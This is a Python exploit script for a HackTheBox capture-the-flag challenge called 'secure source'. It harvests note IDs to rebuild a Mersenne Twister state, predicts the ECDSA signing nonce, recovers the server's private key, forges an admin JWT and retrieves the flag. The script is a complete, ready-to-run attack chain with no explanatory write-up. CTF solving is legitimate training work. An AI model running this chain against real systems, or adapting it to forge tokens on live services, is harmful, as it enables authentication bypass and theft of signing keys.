HackTheBox secure source Challenge

#!/usr/bin/env python3
from random import Random
from Crypto.Util.number import bytes_to_long, long_to_bytes
from concurrent.futures import ThreadPoolExecutor, as_completed
from base64 import b64encode, b64decode
from hashlib import sha256
from sage.all import *
from tqdm import tqdm
import requests
import string
import json
import sys
import re

if len(sys.argv) != 2:
    print(f"Usage: python {sys.argv[0]} <ip:port>")
    sys.exit(1)
url = sys.argv[1]

ALPHABET = string.printable
URL = f'http://{url}'
CONCURRENT_REQUESTS = 5
rng = Random()
p = 0xa9fb57dba1eea9bc3e660a909d838d726e3bf623d52620282013481d1f6e5377
a = 0x7d5a0975fc2c3057eef67530417affe7fb8055c126dc5c6ce94a4b44f330b5d9
b = 0x26dc5c6ce94a4b44f330b5d9bbd77cbf958416295cf7e1ce6bccdc18ff8c07b6
E = EllipticCurve(GF(p), [a, b])
G = E(0x8bd2aeb9cb7e57cb2c4b482ffc81b7afb9de27e1e3bd23c23a4453bd9ace3262,
      0x547ef835c3dac4fd97f8461a14611dc9c27745132ded8e545c1d54c72f046997)
q = Integer(E.order())
Fq = GF(q)

def create_note(sess):
    try:
        sess.post(f'{URL}/create-note', data={'title': 'test', 'description': 'test'}, timeout=5)
        return True
    except:
        return False

def recover_mersenne_state(sess):
    print("[+] Recovering MT state... (this will take ~1-2 minutes)")
    with ThreadPoolExecutor(max_workers=CONCURRENT_REQUESTS) as executor:
        futures = [executor.submit(create_note, sess) for _ in range(624)]
        for _ in tqdm(as_completed(futures), total=624, desc="Creating notes"):
            pass
    notes = json.loads(sess.post(f'{URL}/view-notes').content)['notes']
    state = list(dict.fromkeys([note['id'] for note in notes]))[:624]
    if len(state) < 624:
        raise ValueError(f"Only got {len(state)} unique notes, need 624")
    return state[:624]

def sign(m, privkey):
    k = Integer(int(''.join(rng.choices(ALPHABET, k=32)).encode().hex(), 16))
    H = Integer(int(sha256(m).hexdigest(), 16))
    R = k * G
    r = Integer(R[0])
    s = (pow(k, -1, q) * (H + privkey * r)) % q
    return b64encode(long_to_bytes(int(r), 32) + long_to_bytes(int(s), 32))

def recover_private_key(sess):
    print("[+] Recovering private key...")
    token = sess.cookies['token']
    header, payload, sig = token.split('.')
    m = (header + '.' + payload).encode()
    k = Integer(int(''.join(rng.choices(ALPHABET, k=32)).encode().hex(), 16))
    sig = b64decode(sig.encode())
    r = Integer(bytes_to_long(sig[:32]))
    s = Integer(bytes_to_long(sig[32:]))
    H = Integer(int(sha256(m).hexdigest(), 16))
    return Integer((pow(r, -1, q) * (k * s - H)) % q)

def create_token(user, x):
    header = b64encode(json.dumps({
        'alg': 'EC256',
        'typ': 'JWT'
    }).encode())
    payload = b64encode(json.dumps({
        'username': user,
        'email': 'admin@hackthebox.eu',
        'iat': 1337
    }).encode())
    signature = sign(header + b'.' + payload, x)
    return f"{header.decode()}.{payload.decode()}.{signature.decode()}"

def recover_public_keys(token):
    header, payload, sig = token.split('.')
    m = header + '.' + payload
    H = Integer(int(sha256(m.encode()).hexdigest(), 16))
    sig = b64decode(sig.encode())
    r = Integer(bytes_to_long(sig[:32]))
    s = Integer(bytes_to_long(sig[32:]))
    R = E.lift_x(r)
    rinv = pow(r, -1, q)
    Q1 = rinv * (s * R - H * G)
    Q2 = rinv * (s * (-R) - H * G)
    return Q1, Q2

def verify(Q, token):
    header, payload, sig = token.split('.')
    m = header + '.' + payload
    H = Integer(int(sha256(m.encode()).hexdigest(), 16))
    sig = b64decode(sig.encode())
    r = Integer(bytes_to_long(sig[:32]))
    s = Integer(bytes_to_long(sig[32:]))
    sinv = pow(s, -1, q)
    u1 = (H * sinv) % q
    u2 = (r * sinv) % q
    R = u1 * G + u2 * Q
    return Integer(R[0]) == r

def get_flag(sess, admin_token, Q):
    del sess.cookies['token']
    sess.cookies.set('token', admin_token)
    sess.cookies.set('pubkey', f'{Q[0]},{Q[1]}')
    r = sess.get(f'{URL}/dashboard')
    flag = re.search(r'HTB{.*}', r.content.decode())
    return flag.group(0) if flag else "Flag not found"

def main():
    sess = requests.Session()
    sess.headers.update({'Connection': 'keep-alive'})
    print("[+] Starting exploit...")
    username = 'HTBuser1337'
    pwd = 's3cur3pa$$w0rd'
    print("[+] Registering user...")
    sess.post(f'{URL}/register', data={
        'username': username,
        'password': pwd,
        'email': 'test@test.com'
    })
    print("[+] Logging in...")
    sess.post(f'{URL}/login', data={
        'username': username,
        'password': pwd
    })
    state = recover_mersenne_state(sess)
    rng.setstate((3, tuple(state + [624]), None))
    x = recover_private_key(sess)
    print("[+] Creating admin token...")
    admin_token = create_token('HTBAdmin1337_ZUSD3uQG4I', x)
    Q1, Q2 = recover_public_keys(admin_token)
    print("[+] Verifying token...")
    assert verify(Q1, admin_token), "Token verification failed"
    print("[+] Getting flag...")
    flag = get_flag(sess, admin_token, Q1)
    print("[+] Flag:", flag)

if __name__ == '__main__':
    main()